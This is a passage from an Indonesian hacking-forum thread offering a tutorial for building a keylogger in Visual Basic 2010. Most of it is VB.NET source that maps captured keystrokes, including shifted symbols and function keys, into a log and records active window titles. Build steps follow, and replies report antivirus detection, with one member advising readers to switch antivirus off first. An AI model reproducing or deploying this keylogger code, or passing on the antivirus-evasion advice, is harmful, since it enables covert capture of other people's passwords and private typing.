                TextBox1.Text = TextBox1.Text & "w"
            ElseIf Key = Keys.X Then
                TextBox1.Text = TextBox1.Text & "x"
            ElseIf Key = Keys.Y Then
                TextBox1.Text = TextBox1.Text & "y"
            ElseIf Key = Keys.Z Then
                TextBox1.Text = TextBox1.Text & "z"
            ElseIf Key = Keys.Oemcomma Then
                TextBox1.Text = TextBox1.Text & ","
            ElseIf Key = Keys.OemMinus Then
                TextBox1.Text = TextBox1.Text & "-"
            ElseIf Key = Keys.OemQuotes Then
                TextBox1.Text = TextBox1.Text & "'"
            ElseIf Key = Keys.OemOpenBrackets Then
                TextBox1.Text = TextBox1.Text & "["
            ElseIf Key = Keys.OemCloseBrackets Then
                TextBox1.Text = TextBox1.Text & "]"
            ElseIf Key = Keys.OemQuestion Then
                TextBox1.Text = TextBox1.Text & "/"
            ElseIf Key = Keys.OemPipe Then
                TextBox1.Text = TextBox1.Text & "\"
            ElseIf Key = Keys.Oem1 Then
                TextBox1.Text = TextBox1.Text & ";"
            ElseIf Key = Keys.OemPeriod Then
                TextBox1.Text = TextBox1.Text & "."
            ElseIf Key = Keys.Oemtilde Then
                TextBox1.Text = TextBox1.Text & "`"
            ElseIf Key = Keys.Space Then
                TextBox1.Text = TextBox1.Text & " "
            ElseIf Key = Keys.Enter Then
                TextBox1.Text = TextBox1.Text & vbNewLine
            ElseIf Key = Keys.F1 Then
                TextBox1.Text = TextBox1.Text & "[F1]"
            ElseIf Key = Keys.F2 Then
                TextBox1.Text = TextBox1.Text & "[F2]"
            ElseIf Key = Keys.F3 Then
                TextBox1.Text = TextBox1.Text & "[F3]"
            ElseIf Key = Keys.F4 Then
                TextBox1.Text = TextBox1.Text & "[F4]"
            ElseIf Key = Keys.F5 Then
                TextBox1.Text = TextBox1.Text & "[F5]"
            ElseIf Key = Keys.F6 Then
                TextBox1.Text = TextBox1.Text & "[F6]"
            ElseIf Key = Keys.F7 Then
                TextBox1.Text = TextBox1.Text & "[F7]"
            ElseIf Key = Keys.F8 Then
                TextBox1.Text = TextBox1.Text & "[F8]"
            ElseIf Key = Keys.F9 Then
                TextBox1.Text = TextBox1.Text & "[F9]"
            ElseIf Key = Keys.F10 Then
                TextBox1.Text = TextBox1.Text & "[F10]"
            ElseIf Key = Keys.F11 Then
                TextBox1.Text = TextBox1.Text & "[F11]"
            ElseIf Key = Keys.F12 Then
                TextBox1.Text = TextBox1.Text & "[F12]"
            ElseIf Key = Keys.Delete Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Back Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Down Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Up Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Left Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Right Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Tab Then
                TextBox1.Text = TextBox1.Text & "[TAB]"
            ElseIf Key = Keys.End Then
                TextBox1.Text = TextBox1.Text & "[END]"
            ElseIf Key = Keys.Escape Then
                TextBox1.Text = TextBox1.Text & "[ESC]"
            ElseIf Key = Keys.Divide Then
                TextBox1.Text = TextBox1.Text & "/"
            ElseIf Key = Keys.Decimal Then
                TextBox1.Text = TextBox1.Text & "."
            ElseIf Key = Keys.Subtract Then
                TextBox1.Text = TextBox1.Text & "-"
            ElseIf Key = Keys.Add Then
                TextBox1.Text = TextBox1.Text & "+"
            ElseIf Key = Keys.Multiply Then
                TextBox1.Text = TextBox1.Text & "*"
            End If
        ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
            If Key = Keys.D1 Then
                TextBox1.Text = TextBox1.Text + "!"
            ElseIf Key = Keys.D2 Then
                TextBox1.Text = TextBox1.Text + "@"
            ElseIf Key = Keys.D3 Then
                TextBox1.Text = TextBox1.Text + "#"
            ElseIf Key = Keys.D4 Then
                TextBox1.Text = TextBox1.Text + "$"
            ElseIf Key = Keys.D5 Then
                TextBox1.Text = TextBox1.Text + "%"
            ElseIf Key = Keys.D6 Then
                TextBox1.Text = TextBox1.Text + "^"
            ElseIf Key = Keys.D7 Then
                TextBox1.Text = TextBox1.Text + "&"
            ElseIf Key = Keys.D8 Then
                TextBox1.Text = TextBox1.Text + "*"
            ElseIf Key = Keys.D9 Then
                TextBox1.Text = TextBox1.Text + "("
            ElseIf Key = Keys.D0 Then
                TextBox1.Text = TextBox1.Text + ")"
            ElseIf Key = Keys.A Then
                TextBox1.Text = TextBox1.Text & "A"
            ElseIf Key = Keys.B Then
                TextBox1.Text = TextBox1.Text & "B"
            ElseIf Key = Keys.C Then
                TextBox1.Text = TextBox1.Text & "C"
            ElseIf Key = Keys.D Then
                TextBox1.Text = TextBox1.Text & "D"
            ElseIf Key = Keys.E Then
                TextBox1.Text = TextBox1.Text & "E"
            ElseIf Key = Keys.F Then
                TextBox1.Text = TextBox1.Text & "F"
            ElseIf Key = Keys.G Then
                TextBox1.Text = TextBox1.Text & "G"
            ElseIf Key = Keys.H Then
                TextBox1.Text = TextBox1.Text & "H"
            ElseIf Key = Keys.I Then
                TextBox1.Text = TextBox1.Text & "I"
            ElseIf Key = Keys.J Then
                TextBox1.Text = TextBox1.Text & "J"
            ElseIf Key = Keys.K Then
                TextBox1.Text = TextBox1.Text & "K"
            ElseIf Key = Keys.L Then
                TextBox1.Text = TextBox1.Text & "L"
            ElseIf Key = Keys.M Then
                TextBox1.Text = TextBox1.Text & "M"
            ElseIf Key = Keys.N Then
                TextBox1.Text = TextBox1.Text & "N"
            ElseIf Key = Keys.O Then
                TextBox1.Text = TextBox1.Text & "O"
            ElseIf Key = Keys.P Then
                TextBox1.Text = TextBox1.Text & "P"
            ElseIf Key = Keys.Q Then
                TextBox1.Text = TextBox1.Text & "Q"
            ElseIf Key = Keys.R Then
                TextBox1.Text = TextBox1.Text & "R"
            ElseIf Key = Keys.S Then
                TextBox1.Text = TextBox1.Text & "S"
            ElseIf Key = Keys.T Then
                TextBox1.Text = TextBox1.Text & "T"
            ElseIf Key = Keys.U Then
                TextBox1.Text = TextBox1.Text & "U"
            ElseIf Key = Keys.V Then
                TextBox1.Text = TextBox1.Text & "V"
            ElseIf Key = Keys.W Then
                TextBox1.Text = TextBox1.Text & "W"
            ElseIf Key = Keys.X Then
                TextBox1.Text = TextBox1.Text & "X"
            ElseIf Key = Keys.Y Then
                TextBox1.Text = TextBox1.Text & "Y"
            ElseIf Key = Keys.Z Then
                TextBox1.Text = TextBox1.Text & "Z"
            ElseIf Key = Keys.Oemcomma Then
                TextBox1.Text = TextBox1.Text & "<"
            ElseIf Key = Keys.OemMinus Then
                TextBox1.Text = TextBox1.Text & "_"
            ElseIf Key = Keys.OemOpenBrackets Then
                TextBox1.Text = TextBox1.Text & "{"
            ElseIf Key = Keys.OemCloseBrackets Then
                TextBox1.Text = TextBox1.Text & "}"
            ElseIf Key = Keys.OemQuestion Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.OemPipe Then
                TextBox1.Text = TextBox1.Text & "|"
            ElseIf Key = Keys.Oem1 Then
                TextBox1.Text = TextBox1.Text & ":"
            ElseIf Key = Keys.OemPeriod Then
                TextBox1.Text = TextBox1.Text & ">"
            ElseIf Key = Keys.Oemtilde Then
                TextBox1.Text = TextBox1.Text & "~"
            ElseIf Key = Keys.Space Then
                TextBox1.Text = TextBox1.Text & " "
            ElseIf Key = Keys.Enter Then
                TextBox1.Text = TextBox1.Text & vbNewLine
            ElseIf Key = Keys.F1 Then
                TextBox1.Text = TextBox1.Text & "[F1]"
            ElseIf Key = Keys.F2 Then
                TextBox1.Text = TextBox1.Text & "[F2]"
            ElseIf Key = Keys.F3 Then
                TextBox1.Text = TextBox1.Text & "[F3]"
            ElseIf Key = Keys.F4 Then
                TextBox1.Text = TextBox1.Text & "[F4]"
            ElseIf Key = Keys.F5 Then
                TextBox1.Text = TextBox1.Text & "[F5]"
            ElseIf Key = Keys.F6 Then
                TextBox1.Text = TextBox1.Text & "[F6]"
            ElseIf Key = Keys.F7 Then
                TextBox1.Text = TextBox1.Text & "[F7]"
            ElseIf Key = Keys.F8 Then
                TextBox1.Text = TextBox1.Text & "[F8]"
            ElseIf Key = Keys.F9 Then
                TextBox1.Text = TextBox1.Text & "[F9]"
            ElseIf Key = Keys.F10 Then
                TextBox1.Text = TextBox1.Text & "[F10]"
            ElseIf Key = Keys.F11 Then
                TextBox1.Text = TextBox1.Text & "[F11]"
            ElseIf Key = Keys.F12 Then
                TextBox1.Text = TextBox1.Text & "[F12]"
            ElseIf Key = Keys.Delete Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Back Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Down Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Up Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Left Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Right Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Tab Then
                TextBox1.Text = TextBox1.Text & "[TAB]"
            ElseIf Key = Keys.End Then
                TextBox1.Text = TextBox1.Text & "[END]"
            ElseIf Key = Keys.Escape Then
                TextBox1.Text = TextBox1.Text & "[ESC]"
            ElseIf Key = Keys.Divide Then
                TextBox1.Text = TextBox1.Text & "/"
            ElseIf Key = Keys.Decimal Then
                TextBox1.Text = TextBox1.Text & "."
            ElseIf Key = Keys.Subtract Then
                TextBox1.Text = TextBox1.Text & "-"
            ElseIf Key = Keys.Add Then
                TextBox1.Text = TextBox1.Text & "+"
            ElseIf Key = Keys.Multiply Then
                TextBox1.Text = TextBox1.Text & "*"
            ElseIf Key = Keys.OemQuotes Then
                TextBox1.Text = TextBox1.Text & Label1.Text
            End If
        End If
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If strin <> GetActiveWindowTitle() Then
            TextBox1.Text = TextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine
            strin = GetActiveWindowTitle()
        End If
    End Sub
End Class

klo scripts di atas kurang jelas,lihat scripts yg dah ane kirim di[You must be registered and logged in to see this link.]

6) Setelah semua scripts sudah km masukkin,pada pojok kanan atas di kolum Solution Explorer ,kan ada tulisan RieqyNS13-Tutorial,tulisan ini adalah judul dari aplikasi yg agan2 buat tersebut. Klik kanan pada tulisan itu dan kemudian pilih Properties ,kan muncul kotak,trus pilih Debug,Hilangkan centangan pada tulisan Enable the Visual Studio hosting process
untuk lebih jelasnya,lihat gambar berikut :

SS langkah 1 :
[You must be registered and logged in to see this image.]

SS langkah 2 :
[You must be registered and logged in to see this image.]

7) contengan pada kotak kecil di tulisan tersebut sebaiknya dihilangkan,karena pas waktu proses debuger nanti akan macet,jadi centangannya diilangin aja

7) Tinggal dicoba, TAPI pas dicoba ada pesan kaya gini :
[You must be registered and logged in to see this image.]

jangan kuatir,itu ga' ngaruh kok.. jika muncul pesan kaya gitu pas lagi proses Debugger,mending langsung simpan aja dgn Save All. :lol!: :=D:

CREDIT:Rieqyns13 [cmonhackns]
Kembali Ke Atas Go down
kremezz
™-Newbie_Member-™
avatar

Jumlah posting : 4
Cendol : 4
Reputation : 0
Join date : 31.07.11

PostSubyek: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010   Sun Jul 31, 2011 3:31 pm

ke detect boss
Kembali Ke Atas Go down
Kurohige
™-MemBeR-™
™-MemBeR-™
avatar

Jumlah posting : 79
Cendol : 98
Reputation : 6
Join date : 22.07.11

PostSubyek: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010   Sun Jul 31, 2011 3:39 pm

matiin antivirus dulu..kan itu ada tutornya =.="
Kembali Ke Atas Go down
apip12
™-Newbie_Member-™
avatar

Jumlah posting : 1
Cendol : 1
Reputation : 0
Join date : 11.03.13

PostSubyek: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010   Mon Mar 11, 2013 10:35 am

fotonya gk kliatan itu mohon bantuannya
Kembali Ke Atas Go down
rudyerdianto
™-Newbie_Member-™
avatar

Jumlah posting : 1
Cendol : 1
Reputation : 0
Join date : 08.12.13

PostSubyek: cara pakai   Sun Dec 08, 2013 6:09 pm

Penggunaannya gimana?
Kembali Ke Atas Go down
mrdecoderr
™-Newbie_Member-™
avatar

Jumlah posting : 1
Cendol : 1
Reputation : 0
Join date : 04.09.17

PostSubyek: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010   Mon Sep 04, 2017 11:55 am

gambar ga keliatan itu gimana si
Kembali Ke Atas Go down
Sponsored content




PostSubyek: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010   

Kembali Ke Atas Go down
 

Tutorial buat keylogger sendiri dengan Visual Basic 2010

Topik sebelumnya Topik selanjutnya Kembali Ke Atas 

 Similar topics

-
» Modif suspensi v-ixion, bisa nggak?
» RAdiator bocor,,,, :(
» Ask: kok abis ganti kampas rem, disk break malah kemakan y?
» WTS-Rear Hugger ala banana arm,tank protector (update terus)
» bikin stnk baru sendiri
Halaman 1 dari 1

Permissions in this forum:Anda tidak dapat menjawab topik
Forum Games Indonesia l Android :: Hacker Newbie | Internet and Software Stuff :: Program code basic :: Visual Basic-
Free forum | © phpBB | Free forum support | Kontak | Report an abuse | Create a blog